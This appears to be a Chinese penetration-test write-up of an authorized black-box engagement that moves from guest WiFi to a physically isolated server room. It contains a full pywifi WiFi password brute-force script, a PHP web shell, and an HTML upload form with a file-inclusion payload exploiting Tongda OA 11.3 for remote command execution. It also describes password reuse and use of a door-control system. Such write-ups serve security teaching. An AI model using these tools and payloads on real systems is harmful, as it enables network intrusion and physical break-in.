从访客网络到潜入机房

前言
在一次项目中,客户需求是在完全黑盒的情况下进行渗透测试,目标是内网某台物理隔离核心系统,由此就展开了我们接下来的测试行动。
正文

访客WIFI

那是一个阳光明媚的早上,我背着我的小书包来到客户楼下,掏出我的设备,准备开始工作。

在日常项目中,除了正常的 Web
资产探测之外,我们也应该合理的利用各类无线网络、物理接口、智能设备的安全缺陷进行近源渗透测试,因此到达目标楼下后,我首先搜索了一下周围的 WIFI
,果然发现了以目标简称开头的两个热点。

通过测试发现, GUEST
热点是普通的密码验证,而 Tech
热点则无需密码验证,再连接后会自动弹出登录认证页面。


这里我的思路分别是这样的。

WIFI 认证方式 思路
GUEST 密码 暴力破解WIFI连接密码
Tech 二次登录验证 暴力破解用户名密码


这里感觉如果能拿下 Tech
热点可能会对我们之后的测试过程更有帮助,因此我首先对 Tech
的热点登陆页面进行了暴力破解,以姓名拼音字典做用户名,弱密

码字典为弱口令进行暴力破解。

遗憾的是这里虽然没有对暴力破解进行限制,但是我并没有通过用户名字典和弱口令字典撞库得出想要的结果,所以接下来又重新看了一下 GUEST
对应的热点,通过名称可以大致推断这应该是一个访客网络。

一般这种场景下为了方便用户使用,密码应该不会设置过于复杂,这里由于我没有带外接网卡, Kali
又在虚拟机中,因此我们可以通过形如 pywifi
的库进行破解连接密码,我们在构造字典的时候,例如目标客服电话、目标简称加数字等等格式都是有极大可能作为密码的,因此我们也要加载到我们的字典中。

from pywifi import const, PyWiFi, Profile
import time


# wifi类
class wifi(object):
def __init__(self):
self.wifi = PyWiFi() #创建一个无线对象
self.interfaces = self.wifi.interfaces() #获取无线网卡接口
self.iface = self.interfaces[0] #获取第一个无线网卡接口


# 获取无线网卡接口
def get_wifi_interfaces(self):
num = len(self.interfaces)
if num <= 0:
print(u'未找到无线网卡接口!\n')
exit()
if num == 1:
print(u'无线网卡接口: %s\n' % (self.iface.name()))
return self.iface
else:
print('%-4s %s\n'%(u'序号',u'网卡接口名称'))
for i, w in enumerate(self.interfaces):
print('%-4s %s' % (i, w.name()))
while True:
iface_no = input('请选择网卡接口序号:'.decode('utf-8').encode('gbk'))
no = int(iface_no)
if no >= 0 and no < num:
return self.interfaces[no]


# 查看无线网卡是否处于连接状态
def check_interfaces(self):
if self.iface.status() in [const.IFACE_CONNECTED, const.IFACE_CONNECTING]:
print('无线网卡:%s 已连接。' % self.iface.name())
else:
print('无线网卡:%s 未连接。' % self.iface.name())


# 扫描周围wifi
def scan_wifi(self):
self.iface.scan() #扫描周围wifi
time.sleep(1) #不缓冲显示不出来
result = self.iface.scan_results() #获取扫描结果,wifi可能会有重复
has = [] #初始化已扫描到的wifi
wifi_list = [] #初始化扫描结果
for i in result:
if i not in has: #若has中没有该wifi,则
has.append(i) #添加到has列表
if i.signal > -90: #信号强度<-90的wifi几乎连不上
wifi_list.append((i.ssid, i.signal)) #添加到wifi列表
print('wifi信号强度:{0},名称:{1}。'.format(i.signal, i.ssid))#输出wifi名称
return sorted(wifi_list, key=lambda x:x[1], reverse=True) #按信号强度由高到低排序


# 连接wifi
def connect_wifi(self, wifi_name, wifi_password):
self.iface.disconnect() #断开无线网卡连接
time.sleep(1) #缓冲1秒
profile_info = Profile() #wifi配置文件
profile_info.ssid = wifi_name #wifi名称
profile_info.auth = const.AUTH_ALG_OPEN #需要密码
profile_info.akm.append(const.AKM_TYPE_WPA2PSK) #加密类型
profile_info.cipher = const.CIPHER_TYPE_CCMP #加密单元
profile_info.key = wifi_password #wifi密码
self.iface.remove_all_network_profiles() #删除其他配置文件
tmp_profile = self.iface.add_network_profile(profile_info) #加载配置文件
self.iface.connect(tmp_profile) #连接
#尝试5秒是否能成功连接(时间过短可能会导致正确密码尚未连接成功)
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED:
print('\n==========================================================================')
print('wifi:{0}连接成功,密码:{1}'.format(wifi_name, wifi_password), end='')
print('==========================================================================\n')
return True
else:
print('密码错误:{0}'.format(wifi_password), end='')
return False


# 断开无线网卡已连接状态
def disconnect_wifi(self):
self.iface.disconnect()
if self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]:
print('无线网卡:%s 已断开。' % self.iface.name())
else:
print('无线网卡:%s 未断开。' % self.iface.name())


if __name__ == '__main__':
sf = ['Y', 'y', 'N', 'n']
dian = input('是否需要手动点击破解下一个wifi热点(Y/N)?').strip()
wifi = wifi() #实例化wifi类
wifi.get_wifi_interfaces() #获取网卡接口
wifi.check_interfaces() #检测网卡连接状态
print('\n正在扫描wifi热点...')
wifiList = wifi.scan_wifi() #扫描周围wifi
print('\n正在破解,时间较长,请耐心等待...')
#所有破解成功的wifi名称及密码
user_pwd = []
# 只能单线程破解,因为只有一个无线网卡,不能同时连接多个wifi热点
for i in wifiList:
print('正在破解%s,请耐心等待...' % i[0])
start = time.time()
with open(r'1800常用弱口令字典.txt', 'r') as f:
for password in f:
try:
result = wifi.connect_wifi(i[0], password) #尝试连接wifi
if result == True: #若找到密码,则跳出,避免继续查找
user_pwd.append((i[0], password)) #保存破解成功的wifi及密码
break
except:
continue
end = time.time()
shi = end - start
print('破解耗时:%s秒。' % shi)
if dian == 'Y' or dian == 'y':
xia = input('是否继续破解(Y/N)?').strip()
while xia not in sf:
print('输入错误,请重新输入!')
xia = input('是否继续破解(Y/N)?')
if xia == 'Y' or xia == 'y':
continue
else:
break
print('\n==========================================================================')
print('最终统计结果为:')
with open(r'c:/users/administrator/desktop/wifi.txt', 'a') as pwd:
for p in user_pwd:
pwd.write('wifi热点:%s,密码:%s' % (p[0], p[1]))
print(('wifi热点:%s,密码:%s' % (p[0], p[1])), end='')
print('==========================================================================\n')
wifi.disconnect_wifi()

幸运的是,这里我通过一段时间的等待,终于拿到了
GUEST
的连接密码。

这里连接上 GUEST
后,我与目标的距离终于是更近了一步,但是 GUEST
所在的网络显然只是连入了互联网,我们想要得到更多的结果还是要拿下刚才的 Tech
才行,一般企业无线架构中,这些 AP
会有自己的管理页面,通过探测相应的 web
端口,我发现了一个路由管理网页。


接下来就是通过万能的搜索引擎,寻找相应的配置文档,看看是否有相应的默认账户及口令。

幸运的是,我通过文档中的默认账号及密码,成功登入了相应的 WEB
界面。

接下来我通过 Device
来查看接入设备的地址,看看是不是有新的可以达到的网络地址进行进一步的测试。

我们可以看到在 172.16.*.*
有部分设备接入,那么这些网段中除了连入的员工使用的设备,还会存在什么呢?在回答这个问题之前,先说个题外话,在测试过程中,我发现 Rucks 7341
竟然存在着一个命令执行的漏洞  : )。

无线软路由未授权访问

我们从上面已经得到了 172.16.*.*
的新的网段,接下来我又对这个区段进行了 WEB
端口的存活性探测,发现了一个路由管理界面。

这里尝试弱口令以及爆破都没有得到相应的结果,但是目前我们资产收集也没有新的收获,只能寄希望于这里能存在一些可以利用的漏洞了,经过不断的测试以及配置文档的搜索,我发现这里存在着未授权访问的漏洞,通过直接访问 /webfig
地址就可以直接进入系统面板而无需进行登录,由此,我们顺利的绕过了登录验证的过程。

这里提示是一共有 4
Interface
,这里我注意到了一个新的 VLAN
,对应的 name
office
,并且我通过 ARP
看到了他所在的 IP
区段是 172.16.200.*

但是通过测试,我目前所在的 GUEST
网段与 172.16.200.*
是无法连通的,所以想要进一步探测 office
里面有什么,就要想办法让自己连接过去,于是我继续看看这个路由都有什么功能,看看是不是可以有新的发现。

TechWIFI

在看到 Hotspot
时,存在以下界面。

点击相应的 user
会进入如下界面。

这里由于对设备不是很熟悉,不太清楚账号和密码是什么意思,只能大致推断,上面我们发现的 Interface
一共有如下四项。

  • lan
  • net
  • office
  • wan

这里的 profile
对应写的是 net
,那会不会我们用这个账号密码连接 Tech
热点时就可以访问 net
相应的区段呢?因为我对 office
更感兴趣,因此我找到了一个 profile
office
的账号密码进行了登录测试,成功通过了 Tech
的验证,并且成功与 172.16.200.*
网段连通。

通达OA

经过对 172.16.200.*
的测试,找到了一个 OA
系统,版本为 通达OA 11.3

该版本不仅存在任意用户登录的问题,还存在一个任意文件上传可以导致 RCE
的漏洞,我们首先本地分析一下这个漏洞,下载好源码先用 Zend
解密工具解密一下源码,首先看 ispirit/im/upload.php

源码中的 auth.php
是用来检验登录验证的源码。

我们可以看到代码第 5
行有一个判断语句,如果 POST
请求中 P
非空的情况下,代码会将 session
设置成 P
参数的值,否则就会对 session
中的 LOGIN_USER_ID
以及 LOGIN_UID
进行验证,检验失败则会提示 用户未登陆
并退出,所以我们可以构造 P
参数就可以绕过登录验证,那么我们利用这里就可以在未登录的情况下直接进行文件上传,正常情况下我们访问 upload.php

当我们构造 $P
之后。


这里我们就已经绕过了身份检验的过程,接下来就是构造文件上传,我们接着看下面的代码。

其中的 POST
参数中的 DEST_UID
也会进行校验,值如果不是整型的话就会提示 接收方ID无效
,我们构造 DEST_UID
再试一次。

接下来我们构造相应的文件上传即可,接着向下看到文件上传的变量名是 ATTACHMENT
,我们看到 52
行调用了 upload
函数。

相关代码在 inc\utility_file.php
,进行了后缀名的限制。


我们接下来构造文件上传。

上传成功,这里虽然可以通过 php.
的方法上传 php
文件,但是上传之后文件位置为 attach
目录下,并不在根目录,而且文件前被自动加上了随机数,我们无法得知相应的文件名,因此无法直接利用。


我们再接着向下看,

120
行输出的 databack
里面有 CONTENT
,而这个变量包含了文件名,所以我们直接 POST
即可对 UPLOAD_MODE
MSG_CATE
赋值,通过 UPLOAD_MODE
1
的方法就可以解决文件名的问题,我们需要解决文件目录的问题了,这里无法通过 ../
进行路径穿越,所以我们需要寻找一下文件包含的点,接下来我们来看 ispirit\interface\gateway.php

其中 url
参数中含有 general/
ispirit/
module/
之一,那么就 include_once
变量 url
中的值,即可包含任意文件,分析完成后,我们开始进行利用,首先编写我们中途利用到的木马 1.jpg

<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$exec=$phpwsh->exec("cmd.exe /c ".$_POST['cmd']."");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

再构造如下界面进行上传。

<html>
<head>
</head>
<body>
<form method="POST" action="http://172.16.200.153/ispirit/im/upload.php" enctype="multipart/form-data">
<input type="text"name='P' value = 1 ></input>
<input type="text"name='MSG_CATE' value = 'file'></input>
<input type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</form>
</body>
</html>

然后将我们的木马上传上去。

得到了我们相应的文件位置 attach/im/2011/820599126.1.jpg
,之后利用 gateway.php
进行文件包含,并利用如下语句进行 RCE

json={"url":"/general/../../attach/im/2011/820599126.1.jpg"}&cmd=dir

而且权限是 system


之后就是常规操作,拿下服务器。

门禁系统

在拿下 OA
服务器这个小倒霉蛋之后,就是常规内网扫了一下整个 B
段开启 3389
的机器,然后用刚才抓取的密码进行了碰撞,尝试是否有密码复用的情况,在碰撞过程中,扫到了一台门禁系统的服务器,并且成功用域账户进行了登录,由于前面扫描资产存活的时候,为了速度,脚本里面只添加了几个常用的 80
443
这些端口,这个 8088
端口提供服务的门禁系统也就成了漏网之鱼,在服务器上看到这个系统之后,首先还是进行了访问,登录界面还是需要账户密码验证,但是这里我已经登上服务器了还怕没有密码?从配置文件中找到系统的数据库连接密码后连接数据库,直接查看了 admin
账户对应的密码。


登录到系统上一看,是一个门禁系统。


这里为什么要提一下这个门禁系统呢,因为这个门禁系统不仅可以实时监控各个考勤机的状态,甚至还能远程开关门。


至此,我已经能随意在这座大厦的任何一个房间自由出入了。

靶标

因为文章刚开始也说了,这次的靶标是物理隔离的,因此我必须找到相应机房的交换机,然后把自己的设备用网线连接上去,之后才能继续测试,在上面拿下门禁系统后,我已经可以自由的打开相应服务器所在机房的大门,也是终于从访客 WIFI
终于肉身接触到靶标所在的服务器了,插好网线,配好 IP
,我已经是可以直通靶标的一员了。

但是由于是目标最核心系统,因此是不仅 WEB
端需要账号密码认证,还需要有动态密码才能进行登录,因此放弃了直接通过 WEB
端开始入手的想法,测试了好久也没什么进展。

正在我一筹莫展的时候,我转念一想,在这种核心物理隔离,又不与外网连通的地方,入侵者入侵起来麻烦,运维师傅维护起来估计也不容易,想必也不经常打补丁,先探测探测整个 C
段的端口,看看有没有能直接利用的主机漏洞或者其他端口上的 WEB
服务来曲线救国的。

扫描结束后,我惊奇的发现我们的靶标,竟然开放了 445
端口。


这幸福来的也太突然了。


至此,我的从访客网络到潜入机房的行动彻底收工!
参考文档


  1. https://mp.weixin.qq.com/s/dmXYxqFWGFl3ZnXOwZ-nlQ

  2. https://wenku.baidu.com/view/52b236f8f705cc175527096f.html